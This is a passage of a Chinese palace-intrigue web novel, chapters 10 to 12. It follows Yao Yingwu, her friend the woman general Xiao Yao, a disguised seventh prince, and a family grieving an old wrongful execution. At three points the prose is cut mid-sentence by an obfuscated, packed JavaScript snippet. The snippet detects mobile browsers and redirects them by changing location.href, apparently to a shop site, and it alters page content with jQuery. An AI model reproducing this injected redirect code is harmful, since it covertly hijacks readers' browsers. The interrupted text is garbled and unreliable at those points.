突然冲出来一位公子打断了姚映梧的话,他带着几分刻意的笑,意味不明的眼神扫过姚映梧,“阿遥你别气了,是我不好。明日,哦不,是等你改日空闲了我再来找你,只求你不要躲着我,不见我。” 姚映梧看清那人的脸后马上认出他来,昨日他们刚在楼梯这见过的。从他的眼神中她品味出一丝警告的意味,若今日前她对此人的看法能被称作是恶意的揣测,那现在她确信,他一定对皎皎不怀好意! 那公子面如冠玉,唇若涂丹,俊秀的面庞上带着几分轩昂之气。云昙仔细打量了此人一番,终于想了起来。她心想,原来是他,他那日果然认错了人。皎皎姑娘可真倒霉,被他这样心思不正的人缠上了。 高琢瞧那人明晃晃看了映梧一眼,虽然只是一瞬,他对那个陌生的男子顿时没了好意。他看那男人一袭银丝鹤纹阔袖锦袍,长发用玉簪束起,应是盛安高门华庭的公子。 他暗暗腹诽,此人作为士族子弟居然如此讨厌,怎么能盯着陌生的姑娘看。他就不会去看那位皎皎姑娘。 皎皎收敛了脸上的笑意,回首道:“七公子,我今日确实是有事在身,恕我不能奉陪。” 七公子长叹一声,“阿遥,你不能赴约就算了,何须对我如此客气。你我是自幼相识的缘分,如今,怎么会生分至此。” 皎皎垂下眼睫,向他行礼道:“……肖遥,不敢。” 10. 齐聚首 午时,和羹居来了不少客人,其中不乏有讲究些的书生。 他们大多喜静,不愿坐在大堂听书,更喜欢在楼上雅间坐着,赏着窗外的景色,吃吃点心,品品茶。 可今日是个例外,大堂内坐了不少的书生。有几个人彼此是熟识,围坐在一桌窃窃私语。 吴介端着做好的点心走出来,瞧见好几个客人原本都是雅间的熟客,今日却坐在了大堂里。他有些丈二和尚摸不着头脑,不知道发生什么事了。 难道是堂弟今日说得书格外精彩? 他聚精会神一听,还是往常一样啊,讲的都是些才子佳人的故事。就连他听了几日都听腻了,更别说这些秀才们了。 算了,他也别多管了,许是今日他们转了性也说不定呢。 吴介边走边在心里盘算着,下次让堂弟讲点别的什么有趣儿的故事,老是穷书生和富家小姐的爱情,他都觉得乏味。 “这这这,这是怎么了?几位贵客怎么不去雅间坐着,站在这是……” 吴介可算是明白那些书生怎么不上来雅间了,要是他去喝茶看见三女两男站在楼梯上一动不动,他也怕的不行。 七公子扶住肖遥,不想让她向自己行礼,可她是武将出身,只微微后撤一小步就避开了自己的手。 七公子心中一痛,望着自己又落空的手,扯起唇露出一个笑,“起来吧,我不怪你。” 姚映梧自诩能喜怒不形于色,可看着眼前的两人,她也很难能做到泰然处之。 皎皎居然就是肖遥,而且那能让她这般顾忌的也就只有皇室内的人了。 听肖遥叫他七公子,难道他是七皇子!她虽很喜欢肖遥,可一想到倘若连七皇子也站到肖家那边,姑母跟二皇子还有姚家岂不是很危险。 父亲一直同她讲,为了家族的荣光可以牺牲一切。她为此不敢与高琢走得太近,如今好不容易又有了一个很有缘分的朋友,可却是肖家人,她该怎么办才好…… 高琢简直不可置信地瞪大了双眼,她居然是肖遥!他望向身穿石榴红衫裙的女子,她相貌姣好,身姿颀长。怎么也看不出来是兄长口中那个在沙场挥着青龙戟,斩下闼鞑蛮夷头颅的人。 高琢现在终于理解兄长为何执着于搭上肖家人,想请肖家人为他指点下武艺了。他心里对肖遥升起无限敬佩之情。 之前在家乡那个边境蛮荒之地,他就知道闼鞑人凶悍异常。尤其是那个死掉的拓跋恃,常常骚扰边境百姓,掠夺他们的财物和粮食,甚至会害人性命。害得他们常常不敢下山来采购买东西,好几年冬季的日子都过得紧巴巴的。 肖遥收回手起身,不敢看向他。四人皆一言不发,站在这一动不动。 云昙看着小姐垂着头,手指紧紧绞着帕子,便知她在想事。她怕打扰到小姐,就安静陪在小姐身旁,顺便赶走那些想上楼的人。万一和那个装醉的牛二一样,撞倒小姐可怎么办。 几人往这一站,连空气都静的可怕。大多数人走到楼梯处见场面不对,转身就走了。 偶尔有几个胆大的,想强闯上去,都被云昙瞪了回来。 直到吴介一脸茫然地端着点心走上来,气氛才稍稍缓和了些。 “算了,咱们几个回雅间坐吧,这人多眼杂,不方便说话。”肖遥环顾四周,见不少雅间里都坐着客人。他们有的人没关门,正坐在屋内看他们这边的热闹。 几人回到雅间后,姚映梧瞧云昙有些心不在焉,低声对她说:“我知你不喜这种场合,你要觉得不自在就另寻间雅间等我。” 云昙眸中闪过一丝欣喜但又很快熄灭,“那小姐你……” 姚映梧轻轻摇头:“我这不妨事。你有什么喜欢吃的再多点些,你年纪还小,还要长身体呢。” “多谢小姐。”云昙面带喜色,悄声推门离开了。 吴介一边摆着糕点,装作不经意的撇了七公子几眼,等最后一盘栗子糕摆好,他堆起谄笑道:“公子…您…还有什么吩咐吗?” 七公子微笑道:“没什么事了,你退下吧。” 吴介将托盘举在胸前,弓着腰向众人一一屈身行礼后拉开掩住的房门退了出去。 一张圆桌肖遥坐在了七公子对面,姚映梧对七公子仍有些讨厌,她直接坐到了肖遥身边,高琢也想挨着映梧,可又有些羞怯,犹豫了片刻还是坐到了七公子和映梧的之间。 肖遥将她面前放的桂花糖糕推到姚映梧眼前,低头附在她耳边轻声说:“之前没告诉你我真正的身份,是因为一些军中的事情我还暂时没有头绪。而且你正好带着关键证物出现,我才对你所怀疑的。” “是因为我那身水兰阁的衣服?”姚映梧掩着唇低声问道。 “正是,这次闼鞑的偷袭打得我们措手不及,可也让我百思不得其解。这次偷袭不偏不倚,正好撞上我兄长也和其他几个年轻小将奉命同你父亲前去剿灭利鹘余孽,不久我父亲与母亲也因陛下病重奉诏回京。此时,驻守蔺州的铁甲覆面军中能领兵的将领,只剩我和嫂嫂。” 姚映梧惊讶道:“居然会有这么巧的事?你可是有所怀疑?” 肖遥神情严肃,“这些若都是巧合,可怎么偏偏都对闼鞑有利,他们又能抓住空当偷袭出兵。我虽有疑虑,却也没有证据。偏偏我要进京受封的前一晚,我巡营时抓住了一名奸细,我审问许久她都不肯招供,还趁守备不注意咬舌自尽了。验尸时,我见她身上的衣服针线有些不同,多方打听才知道了是水兰阁顶级绣娘的手艺,那奸细也正好做过水兰阁的绣娘。” “这也难怪你会怀疑我,哎,你怎么知道是我父亲?你早就知晓我的身份了?” 肖遥笑道:“你母亲今日送了你生辰宴的请帖,我见上面写着小女映梧我就猜是你了。” 姚映梧急切握住肖遥的手,“那我生辰宴你可一定得来。以前我生辰时大多都病着,现在我好了,咱们可以一块热闹热闹。” “那我有个主意,不如我们一起办吧。说来也巧,我生辰也是八月十六的。” “当然好啊,不成想你和我竟这般有缘分。” 姚映梧与肖遥聊得热火朝天,高琢与七公子这边两人谁也没先开口讲话。 高琢麻木地端起茶盏熟练的与七公子相视一笑,然后一饮而尽。 茶壶里的茶被他喝了大半壶,他实在是喝不下了。 “需要我再帮你要一壶茶吗?” “不用了,不用了。”高琢急忙摆手拒绝。 他把视线从茶盏上移开,对上七公子的眼神中暗藏的几分戏谑,他才反应过来,自己这是被人给耍了。 “在下高琢,不知公子尊名是?”高琢扭头看映梧和肖遥姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067075|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正聊得开心,自己又喝不下茶了,只好跟身旁的七公子聊聊天。 “牧泓屿,高琢…高公子莫非与御守府的高统领是……?” “御守府统领高羡正是家兄。” 两人相顾无言又沉默了片刻,高琢硬生生挤出一抹笑意,问道:“不知公子现在是身居何职?” 牧泓屿品了口茶蹙起眉,面上略带不喜。听到高琢的问题,他迅速勾起唇角笑着回道:“在下现在并无要职在身,只是个闲人罢了。” 高琢又硬着头皮跟牧泓屿闲聊了几句,见他的心思都放在肖遥姑娘身上,不想自讨没趣便噤了声。 高琢不动声色瞥了一眼映梧和肖遥姑娘,看两人聊的很是投缘,只好又无聊的把玩起手中的茶盏来。 姚映梧跟肖遥就像是相交多年的至交,悄悄话怎么也说不完。 “皎皎…肖遥,哎,我叫你皎皎都叫顺口了。” “皎皎是我的乳名,映梧你以后还叫我皎皎就好。” “我的乳名叫阿缘,以后皎皎唤我阿缘就好。我自小没什么朋友,只有高琢一个朋友。如今又有了你,我今日真是太开心了。那个,皎皎。你知道这个七公子是谁对吗?” 肖遥眼底顿时划过阴霾,“唉,你是猜到了吗。” 姚映梧眸光一沉,在肖遥手心写下一个“牧”字,“除了他,我想不到盛安还有谁会让肖家人如此忌惮。” 听到这话肖遥眉宇间的忧愁反而淡去,她乐不可支道:“民间都传‘盛安士族,最数姚肖’怎么姚家的姑娘还会说出这种话,觉得我们肖家只把‘他’放在眼里。” “皎皎,你别打趣我了,你就告诉我是不是。” 肖遥郑重地点头道:“他既不愿暴露身份,你就当作不知就好。” “皎皎他不是什么好人,你可千万要小心啊……” “姚姑娘,点心要凉了,凉了就不好吃了。” 牧泓屿出声打断了姚映梧的话,虽然他坐的远,但他的耳力一直好的异于常人。 他从一开始就注意着两人的谈话,他没料到,姚映梧都知道他是谁了,居然还敢跟阿遥讲他的坏话。 姚映梧面露不悦,张嘴还想要说些什么被肖遥一把按住手。她不解地看向肖遥,却见她冲自己微微皱了下眉。 高琢见气氛不对,赶忙说:“正好我饿了,映梧你不是说要让我尝尝桂花糖糕吗。” 姚映梧深吸一口气,将面前的点心递给高琢一块,“你尝尝,和羹居我最喜欢的就是桂花糖糕了。” 肖遥说道:“楼下那小二还真没骗我,我问他哪个点心是盛安的特色,别的地方吃不到。他说桂花糖糕是丞相府小姐最喜欢的,也是他们家做的最好的。我怕他言过其实都没敢买呢。” 姚映梧给肖遥也递了一块,“那你可得尝尝,他们家做糕用的桂花蜜甜而不腻,花香清雅不浓烈,搭在一起特别好吃。” 肖遥尝了一口,糕体软糯清甜,配上花蜜和干桂花更是在口中留有余香。 高琢眼神倏地亮了,“好吃,我从没吃过这么好吃的糕。” 姚映梧听高琢喜欢,心里欣喜极了。 “喏,这还有栗子糕呢,你不是想吃吗。” 高琢咬了一口栗子糕,很好吃。 只是,不是他在家乡吃的那种味道了。 11. 解开心结 “盛安的栗子糕跟我家乡的不太一样。我家乡都喜欢在栗子糕里面放些牛乳,让它尝起来更甜更有奶香味。” 肖遥问道:“公子家乡可是在大邺边境,听说边境之地毗邻闼鞑等外邦之国,为了迎合那些胡商的口味,会在糕点中加牛乳。” 高琢回道:“肖遥姑娘猜得不错。只是我家乡地处偏僻,其属于滕州与云州交界处的山谷,我也不知我到底算是兰诏人还是大邺人。” 牧泓屿尝了块栗子糕,“我倒觉得还是金乳酥最好吃,阿遥也最喜欢。” 高琢迫不及待吃了一块,惊喜道:“这个也好吃,盛安不愧是大邺的国都,好吃的点心也太多了。” 咚咚—— “皎皎,你在里面吗。娘亲说你出来很久了,嘱咐让我来寻你回去呢。” “是阿姜姐。” 肖遥认出来是阿姜的声音,“阿缘,高琢,泓屿。今晚我还有重要的事,就先失陪了。阿缘咱们改日再聚。” 姚映梧见肖遥要走也不愿多留,高琢跟着映梧,牧泓屿要跟着阿遥,几个人各怀心思一起走到了门口。 门开口后,阿姜不由自主地后退了一步。 她没想到屋子里居然这么热闹,七皇子、姚家人、肖家人、还有一个不认识的年轻男子。 “皎皎,娘亲说糕不用买了,她要亲自来做,让咱们快点回去呢。” 肖遥正欲走,姚映梧拉住了她的胳膊,“总之,皎皎你要当心些。在我心里,肖遥就是我大邺顶天立地的巾帼英雄,英雄救美的戏码肯定蒙不到你的。” 肖遥笑道:“我知道的阿缘,你放心。” 入夜,月朗星稀。 平日冷清的定远侯府难得热闹起来。院中点满琉璃宫灯,交相辉映。仆役们有条不紊,将菜摆至中堂的紫檀桌上。 肖遥替红豆理着发间的钿头钗,红豆嘟囔道:“皎皎,在屋里你不是让我对着镜台看了许多遍了吗,发钗很合适。” 肖遥紧张的说:“合适吗?带屋里那只蝶恋花的步摇是不是更好些,我们现在快回去换还来得及。” 红豆抓住肖遥的手臂,无奈道:“适才你还说我头上这只缠枝莲钿头钗更合适我呢。皎皎,你准备的这些都很漂亮,也都很合适,我每一个都喜欢。” 阿姜端详着红豆瘦削的脸庞,“红豆你受苦了。自从你与姑爹走失以后,我和爹娘日夜担惊受怕,就怕你吃苦或是出了意外,还好你好好的回来了。这么多年来,每次进祠堂拜祭姑母,我跟爹娘都无颜见她……” 阿姜别过头小声啜泣着,红豆走过去紧紧抱住表姐轻声安慰着。 肖遥眼眶一热差点要落下泪来,她轻轻搂住两人,“不哭了阿姜姐,今日可是红豆回家的好日子,现在红豆不是跟我们在一起呢嘛,一切都好起来了。” “红豆!是红豆吗?快快,快让舅舅好好看看。” 姜思汝小跑进院中,他流着眼泪哽咽道:“我这几日正好替老侯爷出城办事,你舅母说来信,说你回来了,我这几日快马加鞭往回赶,没想到…真的是你。” 姜思汝上下前后对着红豆看了好几圈,声音颤抖道:“我还记得,你小时候就长得粉雕玉琢,圆嘟嘟的小脸甚是可爱。如今长大了,出落得更漂亮了。” 红豆望着姜思汝眼中泪光闪闪,轻声喊道:“舅…舅舅。” 姜思汝被红豆的一声舅舅叫的掉了眼泪,他有整整十二年没有听红豆叫他舅舅了。 阿姜看到爹爹哭了,好不容易忍住的眼泪又掉了下来,皎皎柔声安慰着阿姜,红豆手足无措安抚着舅舅。 莲娘放下栗子糕从中堂走出来,看见女儿和夫君哭得不成样子,“阿姜、思汝,今日就别哭了,一会得去给妹妹和妹夫上香,你们得高兴些,他们看着才能安心啊。” “对对,夫人说的是。”姜思汝连忙用袖子擦干眼泪。 “老侯爷,侯爷,夫人。” 仆役们的声音引得院中几人回头,肖遥这才发现祖父和母亲父亲早已等在回廊处。 肖厝神色激动,踉跄着走到红豆身边。 他在回廊远远望着她的身影时还不敢相信,直至站在她面前他才敢确定。 肖厝眼眶湿润,花白的鬓发在风中晃动,“你真像你的母亲,像她年轻的时候。“ 红豆垂下头,裙摆间金香囊的挂穗正迎风摆动,上面打着相思结,穿着一颗红豆,是爹爹亲手做给娘的。香囊有一对,娘亲是金的,爹爹是银的。 夜深人静,月色朦胧。 屋内的烛光闪烁,在姚映梧脸上投下一片摇曳的光影。她披着发倚在贵妃榻上,细听着屋外的风卷起芭蕉叶时发出的阵阵沙沙声。 吱呀—— 屋门被轻轻推开,姚昭桦蹑足而入。 姚映梧听到脚步声合上眼,“我再呆一会儿就去睡了。” “这么晚了怎么还没睡?” “是长姐啊,我以为又是青萝来劝我早睡呢。” 姚映梧坐起身,用手拍了拍身边的位置,“长姐,我睡不着。” 姚昭桦坐到她的身旁,将她轻柔地搂近怀中。 “发生什么事了?” “长姐我…我今日结交了一位姑娘,和她算是知己。我很崇拜她更羡慕她,我们两个一见如故,我甚是喜欢她。而且,我和她还是同一日生辰呢。” 姚昭桦眼中漫起一片柔情,“这样啊,长姐很替你高兴。等我入宫以后,你有好友为伴,不至于太孤单寂寞。” “长姐不问问她是谁吗?”姚映梧从长姐怀中起身,眨着眼睛问道。 姚昭桦浅笑着摇头,“不重要,即使她是肖遥也不重要。前几日我叮嘱你跟明桉时就发现你脸色不对,今日我跟柳笛去法因寺上香,见一个公子同你一起从慧慈院出来,我听云昙叫他高琢,就明白你那日为什么一副心事重重的样子了。” 姚映梧垂眸靠回到长姐的怀中,“长姐为什么不叫住我。” “我当时也犹豫了,可你脸上的笑意却是我这些年最少见的。你常年病着喝药,身边除了我和明桉一个能让你肆意说话的人都没有了。我今晚翻来覆去的想,让你离开自己的朋友是对的吗?是我要做的吗?我问了自己无数遍都得到了一个答案。那就是,不。” 姚映梧抱紧长姐,紧贴在她的胸口呜咽着,“长姐,我错了。我就应该像父亲说得那样,时刻记着姚家,不能,有一刻松懈的……” “不,不…”姚昭桦的眼泪夺眶而出,“阿缘你要知道父亲说的不一定都是对的。他为了姚家全族的荣光背负了太多的东西,把自己禁锢在了盛安,困在了丞相之位上。可是阿缘,家族的兴衰不是一个可以左右的,更不应该背负在一个人的身上。皇权在上,士族必会被打压,父亲相信自己的年少的至交,却忘了他是当今天子,即使陛下对父亲有情,那冰冷的皇位早晚会浇灭那份年少扶持的信任。” “长姐,你……” “阿缘,他若真对父亲毫不设防就不会选召我入宫了。父亲他只是不敢信,也不愿信。他从陛下是太子时就追随他,直至陛下荣登大宝。他以为只要他忠心耿耿,陛下就会一直信他。他忘了先帝时的勇武大将军牧凌云和他女儿的事了。赐给我们的朱红金漆马车就和当年赐给牧凌云的牧姓一样,风光无限,也随时都能被收回。” 姚昭桦紧紧搂住阿缘,怕她看见自己哭泣的样子。她悄悄用手擦干脸上的泪珠。 “阿缘当日我不让你接近高琢是怕他与他兄长一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067076|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左右逢源,可我今日见过他后,反倒觉他率真单纯。阿缘,长姐以后要去了皇宫,你有肖遥和高琢两个知己我也能放心了。而且,肖遥是为国征战的将军,沙场狼烟我也没见过,不能讲给你听,以后你就能问她了。” 姚映梧早已泪如雨下,她哽咽着说:“长姐,不做妃嫔…你…你想要做什么?” “做一名女官,做司籍监的司籍,跟母亲一样。我告诉你的事,都是她入姚府以后每日同我讲的,我再讲给你。” “那,阿缘病好以后也要做女官。” “做了女官就要一直呆在宫中,长姐知道你最厌倦的就是四方的墙,常年不变的屋子。答应长姐,以后病好了不做女官,只做开心的阿缘。家族荣光的延续不仅是像父亲和我一样,能做到克己复礼、慎独行善,不给家族蒙羞便好。” 姚映梧哭到说不出话,只能不停点头回应长姐。 姚昭桦轻拍着阿缘的背,“阿缘,童谣的事你不要再管了。其中的内情太危险。你不用担心我和家里的事,养好身体最重要。” 姚映梧假意应下,心中暗自发誓一定要查个水落石出。 烛光不知何时灭了,姐妹二人就在漆黑的屋内互相依偎。 定远侯府的筵席因老侯爷太激动多吃了两杯酒醉倒而早早散席,席间众人都喝了不少,尤其是肖遥的母亲韦均凝。 肖攘镰见夫人伤心,嘴里一直念叨着红豆的母亲,他怕她喝太多伤身,便离席扶夫人回房了。 姜思汝也吃醉了酒,两颊酡红。他欢喜的望着红豆,一把搂上莲娘肩上说:“夫人,我看老侯爷是眼花了,我倒觉得红豆更像奚河多一点。” 莲娘端详着红豆的姣好面容,道:“哪有,明明更像念汝。” 阿姜端着酒杯面色低沉道:“皎皎,上次我就发现那姚家那姑娘脸色不太对,今日我见她脸色苍白,脚步虚浮,身体瘦削,应是重病之人才会这样,可我看她的样子却不像一个病人。” 肖遥心下一紧,不免担心起来,“那下次见阿缘,你同我一起去。万一她不知自己生病可怎么办,你替给她把下脉,这样我也放心。” “嗯,这样也好。万一她真的重病缠身,我也能及时出手救她。” 红豆放下手中的酒杯劝道:“姐姐,她可是姚家人,还是章珥的外孙。” 阿姜厉色道:“红豆,不管姚尺书跟章珥怎么样,她是无辜的。以前的事,不该到牵扯一个无辜的人。” “姐姐我们才最无辜!” “姜燃,你忘了以前祖母是怎么教我们的了吗。济世救人,心怀苍生。怎能为了父母辈的恩怨,牵连无辜之人。若我们这样做,和姚尺书、章珥又有何分别。” 莲娘见姐妹二人吵了起来,赶忙劝和,“姜煜,别跟妹妹置气。当年的事…她心中难免有怨言。” 红豆盯着姜煜义正言辞的表情恍惚了一瞬,垂着眸道:“阿姜姐,你忘了吗?” 姜煜痛苦地闭上双眼,“我一刻都没忘过,也永远不会忘。当年的事,已经牵连了太多人,她什么都没做错,何必再累及到她。” 姜燃闭上眼睛长吁一口气,上前一把抱住姜煜。她泫然欲泣道:“姐姐我错了,我刚才就是气急了才那样说的。你放心,到时候我同你一起去。” 姜煜安慰地摸着她的脑袋,“傻丫头,我都明白的,姐姐怎么会生你的气呢。你要是不能原谅姚家和章家的人,那就不原谅好了,你应该放不下的。但,罪魁祸首才最应该得到报应。家族的仇我们该报,但我们不能和他们一样。答应姐姐,别让仇恨困住自己。” 红豆沉默良久,无声的点点头。 皎洁的月光为相拥的两人镀上一层微光,就连姜煜腰间的金香囊也更加明亮。 12. 朱颜在君心改 清冷的月光透过窗棂照进屋内,韦均凝红着眼睛坐在床上望着窗外的月亮出神。 肖攘镰将沾了水的丝帕递过来,“夫人,擦把脸醒醒酒吧。” 韦均凝侧目瞥了一眼没接过帕子,“今日陛下宣我入宫,我去见了锦儿了。她比刚做皇后时消瘦了不少,连脸上的肉都清减了几分。” 肖攘镰叹了口气,自己替夫人擦了脸,“她,还好吧。” 韦均凝扯起一抹笑,“嫁进皇室,嫁给他,怎么会好。这次陛下重病是二皇子与五皇子共理政务,一个是他的心爱发妻所生,一个是他的重要的皇后所出,你觉得他更属意谁?” “属意还是提防,陛下心里比我更清楚。他当年答应先帝娶锦儿时向我许诺一定会对她好,可他稳坐皇位后便立刻变了心。平日对锦儿漠不关心,就连她生峥儿他都没去瞧过她。” 韦均凝苦笑道:“那次念汝护送还是芦元公主的太后入大邺和亲,念汝一行人看丢公主引得先帝勃然大怒,连带主张和亲的陛下都差点被废黜。他为了保住太子之位答应娶锦儿为太子妃,导致得知此事的太子妃甘霓早产下二皇子血崩而亡,他也因此记恨上锦儿,记恨上肖家。” “牧怀兴同他父亲一样,生性冷血弱懦……” 韦均凝急忙捂住肖攘镰的嘴,“夫君,你怎可说如此大逆不道的话。” 肖攘镰拿开韦均凝的手抓在手中握紧,“夫人,难道不是吗?念汝当年不慎让公主走失,可公主回来时向先帝百般求情,说是自己误信歹人一时迷了路。可他呢,不顾及当年凌云舍命救他的恩情更不顾此事中的蹊跷,只因念汝的母亲同你母亲是至交好友,你们二人从小一起长大就怀疑念汝是为姑母襄武皇后的死抱不平,是刻意为之。” 肖攘镰每每想到此都痛彻心扉,他声音颤抖,“夫人,先帝从始至终都怀疑肖家的用心质疑姑姑对他的情意。在姑姑死后,他能把与她八分相像邻国公主娶回来,做后宫最尊贵的贵妃,都不曾在姑母在世时多爱她一点。他跟姑母没了一个孩子,却对齐王补偿,倾尽父爱。我肖家几代为国战死,终不得他信任,就连与肖家关系亲近的士族也尽数被他父子二人怀疑。” 韦均凝想起念汝,伤怀道:“是啊,念汝的事…这么多年来我也一直能梦见那一天…思汝跟念汝原是世家大族姜家的后人,还被赐了皇姓改姓牧。只因与肖家交好,就被先帝疑心,重判处满门抄斩,连他们父亲用命换来赐姓的殊荣也一并收走。” 肖攘镰望向韦均凝,“夫人,你说,我如何能不愧疚。先帝变了,陛下也变了,以后的国君还会变。肖家世代征战宁为枯骨,只换来无尽的猜忌和怀疑,夫人,我如何能不怨。” 韦均凝抚平肖攘镰的眉头,“这么多年我都明白,你自请戍边不再回盛安不就是为了摆脱这些争斗。如今红豆回来了,阿姜也长大了,莲娘和思汝也替父亲打理定远侯府,日子虽平淡但也幸福,别自责,一切都过去了。” “不!思汝应该顶着祖上的殊荣入朝为官,念汝从小追随父亲征战沙场,按军功现在也该是将军了。当年满门抄斩他怎么能下得去手,念汝都已身怀六甲,若没有当今太后帮忙拖延时日,红豆也许就随念汝一起去了。” 肖攘镰紧抿的唇微微颤抖,“若当年没出事,奚河也不必为了替姜家翻案,带着六岁的红豆远走边境,为我探听利鹘和闼鞑的消息。奚河不会因闼鞑跟利鹘的战乱而死,红豆更不会丢。” 韦均凝无力地坐下,“是啊,你因此也不与姚尺书来往。可过去的事,再怎么骗自己都忘不掉。要不是章珥和姚尺书那两个人小人合力诬陷,怎么会成今日的局面。” “我曾试探过姚尺书,他不知道姜家与我们的关系,只是怕此事牵扯陛下才赶紧草草结案。我疏远他一是为了让陛下放心,二是因为峥儿。” 肖攘镰望着皎洁的月色,跟蔺州边境时他看的很像。 他叹息着说道:“姚尺书虽还算正人君子,可二皇子妃毕竟是他亲妹妹,他与我一样牵连皇家太深,早晚也会跟我一样。” 是夜,月色朦胧。 夜半忽起狂风,屋檐角的檐马叮当当响了整夜。 一缕晨光穿过窗棂照在姚映梧鎏金妆匣上,青萝拿着桃木梳篦轻柔地替小姐梳着发。姚映梧打量着镜台中的自己,昨夜与长姐说话说到后半夜,今早起来眼下都有淡淡的乌青。 青萝将小姐鬓边的碎发挽至耳后,从妆匣子里拿出一只海棠步摇插入发间,“小姐,好了。” 姚映梧拉住青萝的手:“青萝,等改日长姐入宫你陪她同去吧。你性子柔和谨慎,人又聪慧,你陪着长姐我才能放心。” “那小姐呢,云昙刚满十五年纪还小,以后只有她照顾小姐我也实在放心不下。” “这几日我一直喝着霍大夫的药,身体已经好多了,这几日入夜都不咳了。宫中人心复杂,若你不在长姐身边我日夜挂念长姐身体只会更差。柳笛虽也十分妥帖,但在宫中长姐只有她一个心腹之人还是步履维艰,你与长姐一同长大本来也是她的人,你跟着她,我才不会害怕。” “小姐。您放心,我一定照顾好大小姐。小姐在府里也要照顾好自己啊,今日再让云昙陪小姐去济世堂找霍大夫把把脉,看看病怎么样,这样我才能放心离开小姐。”青萝哽咽道。 姚映梧用帕子擦掉青萝脸上的泪珠,“放心青萝,我这就去。” 昨夜的狂风吹落不少树叶,一路上车轮时不时发出沙沙声。 朱红金漆马车走在街上格外的显眼,姚映梧透过窗纱望着街上熙攘的人群。她手心冒着冷汗,“云昙,你说霍大夫会怎么看我的病?” “小姐别担心,我看那蒙面姑娘给的药还不错,这几日小姐一点都没咳。” 姚映梧顿时茅塞顿开,她激动道:“云昙你说得对,我的病吃什么药都不管用,为什么她给的药却管用,而且见效这么快。” 云昙的圆润的小脸皱成一团,想了很久还是摇头道:“我也不知啊小姐。不过,咱们去问问霍大夫不就好了嘛。” 到了济世堂,院中青萝的兄长大虎正翻晒着药材。 他见到姚映梧和云昙,立刻放下手中的药笸箩跑上前道:“姚小姐和云昙姑娘是来找师父的吧,他老人家正在里屋给病人施针,还得半炷香才能好呢。两位跟我去内堂等会儿吧。” 内堂是给客人抓药的地方,到处都是药草的苦味。姚映梧从小闻到大,现在竟习惯了这种清苦的味道。 大虎进屋拿出两个粗胚的瓷碗,他拿起茶壶倒着乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067077|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅浆说:“这乌梅浆是我今日才煮的,给小姐和云昙姑娘尝个鲜。药堂条件简陋,小姐不要嫌弃才好。” 姚映梧闻着乌梅浆味道酸甜,冲淡了她鼻腔中的药味,她笑道:“那怎么会呢,我和云昙还要多谢你拿乌梅浆招待我们呢。” 姚映梧端起碗正要喝,大虎拦住她说:“我妹妹常说小姐喜欢甜的,这乌梅浆怕是酸了,我去拿些蜂蜜给小姐兑进去。” “大虎哥不用了。今年多雨,蜂蜜价格贵了许多,你不用特意拿给我,自己留着吃。” 大虎挠挠头,红着脸说:“说来惭愧这蜜还是小姐赏的呢。我上个月得了风寒,咳嗽个不停。我怕过病给青萝托坊内的窦秀才写信告诉她,让她这个月别回来看我。结果小姐听说此事,心善给了银子和蜂蜜。我看今年蜂蜜价高没舍得吃,本来想着中秋给青萝带回去吃。” “窦秀才?”姚映梧听道窦秀才时觉得窦这个姓氏耳熟的很,于是开口问道。 大虎摇摇头说:“可惜啊,窦秀才就是爹娘死得早,家道中落读不起书了。全靠他姐姐窦花娘在慧慈院帮人洗衣缝补赚点小钱供他。他倒是争气,第一年就考中了秀才。现如今他家里日子也好起来了,他替人抄书也能补贴些家用,有钱继续读书了。唉,七日前他不知怎么暴毙身亡了。可惜,实在可惜。” “大虎哥,那个窦秀才是叫窦石吗?” 大虎疑惑道:“小姐怎么知道,莫非也认识窦秀才?” “大虎哥,你能不能告诉我窦秀才家住哪?我有些事要仔细问问他姐姐。” 得了地址,姚映梧叫上云昙起身就走。 大虎看着小姐越走越快的背影喊道:“小姐,您不看病了。” 姚映梧有了新线索高兴极了,头也不回道:“改日我再来,多谢你了大虎哥。” 里屋,霍大夫施完针出来,迎面碰见姚映梧大步流星走出济世堂大门。他惊讶得合不拢嘴。 “大…大虎,这这…是……” 大虎招完手,回头见是师父高兴道:“师父可真称得上是妙手回春。那日青萝来说师父的药对小姐管用我还将信将疑,今日我见小姐如此生龙活虎,我真是佩服师父。盛安多少大夫看了小姐的病都看不好,您一下就把小姐治好了。难怪大家都说您是滕州的杏林圣手,我看用不了多久您就是大邺的杏林圣手了。” 霍大夫捋着自己花白的胡须道:“那日雨夜我见小姐命不久矣,慌忙施针救她还开了不少激进的药方保住小姐的命。没想到误打误撞药居然成了,如此我也不算辜负裴太守的恩情了。” 